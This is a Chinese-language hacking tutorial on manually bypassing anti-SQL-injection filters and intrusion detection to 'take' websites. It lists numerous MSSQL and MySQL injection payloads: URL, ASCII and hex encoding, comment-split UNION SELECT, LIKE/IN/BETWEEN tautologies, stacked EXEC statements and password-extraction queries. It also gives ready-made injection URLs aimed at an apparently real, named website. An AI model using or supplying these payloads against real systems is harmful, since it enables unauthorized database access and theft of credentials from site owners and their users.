当阿D和明小子派不上用场时,当你遇到有防注入程序的网站时,当你为次彷徨时,你是否想起运用手工绕过防注入的方法来拿站呢,不管成功与否,这是思路上的 突破,既锻炼了我们的能力也丰富了我们的经验。下面笔者针对网上出现的绕过防注入的方法结合自己的实践经验做出总结,与大家一起探讨防注入问题
1、运用编码技术绕过
如URLEncode编码,ASCII编码绕过。
例如or 1=1即
%6f%72%20%31%3d%31
而Test也可以为
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
2、通过空格绕过
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
or'' swords'' =‘swords'',由于mssql的松散性,我们可以把or ''swords'' 之间的空格去掉,并不影响运行。
3、运用字符串判断代替
用经典的or 1=1判断绕过,
如
or ''swords'' =''swords''
这个方法就是网上在讨论的。
4、通过类型转换修饰符N绕过
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,
如
or ''swords'' = N'' swords''
,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
5、通过+号拆解字符串绕过
效果值得考证,但毕竟是一种方法。如
or ''swords'' =‘sw'' +'' ords'' ;EXEC(‘IN'' +'' SERT INTO ''+'' …..'' )
6、通过LIKE绕过
以前怎么就没想到呢?
如
or''swords'' LIKE ''sw''
显然可以很轻松的绕过“=”“>”的限制……
7、通过IN绕过
与上面的LIKE的思路差不多,
如
or ''swords'' IN (''swords'')
8、通过BETWEEN绕过
如
or ''swords'' BETWEEN ''rw'' AND ''tw''
9、通过>或者<绕过
or ''swords'' > ''sw''
or ''swords'' < ''tw''
or 1<3
……
10、运用注释语句绕过
用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser
用/**/分割敏感词,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
11、用HEX绕过,一般的IDS都无法检测出来
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
综上所诉,当你在遇到工具派不上用场,但却存在注入漏洞的网站时,不妨试试用手工检测的方法,这是一种思路上的突破,既锻炼了你的能力,也开阔了你的思 维,成功与否或许就显得不那么重要了,成功拿下有多重因素决定,需要一定的手工注入技巧,还有一些其他的客观因素。相信这篇文章对你或多或少有些许的帮 助。
11,声明变量
declare @test varchar(50) set @test='s e l e c t' set @test=replace(@test,' ','') set @test=@test+' * from sysobjects where xtype=''u''' print @test exec(@test)
新方法收集:
/*=========================PHP注入点===================================*/
注入点:
http://cleopatra-sy.com/index.php?content=more_product&id=-17
常规的注射手法:
http://cleopatra-sy.com/index.php?content=more_product&id=-17+UNION+SELECT+1,2,
3,4,5,6--
过滤 UNION和SELECT 情况下:
方法一:
http://cleopatra-sy.com/index.php?content=more_product&id=-17+/**//**//*!uNiOn*//**/
/**//*!sElEcT*//**//**/1,2,3,4,5,6--
方法二:
http://cleopatra-sy.com/index.php?content=more_product&id=-17+/*U*//*n*//*i*//*o*//*n
*//*t*/+/*s*//*e*//*l*//*e*//*c*//*t*/+1,2,3,4,5,6--
方法三:
http://cleopatra-sy.com/index.php?content=more_product&id=-17+concat(u,n,i,o,n)+conca
t(s,e,l,e,c,t)+all+1,2,3,4,5,6--
方法四:
http://cleopatra-sy.com/index.php?content=more_product&id=-17 and (select 1)=(select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6--+-
/*===========================MSSQL===========================*/
绕过MSSQL防注入的一些解决办法
1.编码处理
2.语句变换
3.其他
编码处理
关于编码问题在google中实在是搜的是数不胜数,不过编码也有很多,这里就简单的说下常用的几种吧:
1)Urlencode 这个编码很常见了吧,如%31%3d%31,不过在绕过防注入中效果确实不太好,除非服务器只是对浏览器中的url地址进行了判断
2)ASCII 这个一般情况下用的稍微多点,char(xxx)大家都应该非常熟悉,里面加上相应的ascii码并用+连接多个就可以了
3)Hex 一个非常经典的绕过技术,不过由于mssql没有像mysql提供unhex()这样的函数,所以使用上要求语句须支持分句,将其定义后然后赋值就可以使用了
语句变换
实现某个功能我们可以通过不同的语句来实现,其中一种可能就有适合当前环境下的语句,看看下面的sql语句吧,同时也是我在注入过程中经常用到的
select password from users
convert(int,select password from users)
这样就可能让我们获取到密码。不要着急,这只是一个变换句子的例子,现在我们来看看如果在防注入了过滤了某些查询的关键字怎么办呢?
select password from users //由于过滤了password无法执行
declare @pw varchar(1000) set @pw=0×70617373776F7264; select @pw form users; //这样通过对特别字符进行hex处理就能绕过,主要应对比较特别的情况,如IDS之类的安全设备,配合其他方式绕过防注入也是非常不错的
其他
除此之外,我们还可以通过一些比较特别的方法来绕过,如in、between等等,例如过滤了select,看下面
select password from users //过滤select,无法执行
s%e%l%e%c%t password from users //通过%连接
“sel”+”ect” password from users //通过+来连接
se/**/lect password from users //通过/**/来连接
其次,在一些防注入中由于脚本没有过滤cookie提交,由此我们可以通过cookie来进行注入,其实方法真的很多,想上次‘的过来问题最终也是通过语句变换的方式解决了,sql语句的灵活运行在某些时候真的很暴力,欢迎各位就以上几点进行探讨。